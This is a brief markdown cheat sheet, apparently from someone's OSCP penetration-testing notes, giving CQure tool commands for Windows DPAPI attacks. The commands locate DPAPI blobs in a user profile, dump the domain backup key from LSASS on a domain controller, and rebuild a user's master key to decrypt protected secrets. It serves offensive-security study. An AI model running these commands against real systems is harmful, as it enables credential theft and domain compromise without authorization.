oscp/Necronomicon/Windows/DPAPI.md

• CQure
  • Search for DPAPI blob - note mkguid
    • CQDPAPIBlobSearcher.exe /d C:\Users\chajoh\AppData\Roaming /r /o C:\Windows\Temp\Blob
  • Re-build master key with arbitrary password using domain backup key
    • CQMasterKeyAD.exe /file "C:\Users\chajoh\AppData\Roaming\Microsoft\Protect\<SID>\<mkguid>" /pfx backupKey.pfx /newhash <NTLM hash of arbitrary password>
    • NOTE: CQMasterKeyAD.exe assumes the pfx file is packed with passphrase "cqure"; if it is not, repack it accordingly (see Mimikatz section)
  • Extract domain backup key from DC (requires Domain Admin)
    • CQLsassSecretsDumper.exe /file backupKey.pfx
    • Note: PFX is packed with passphrase "cqure"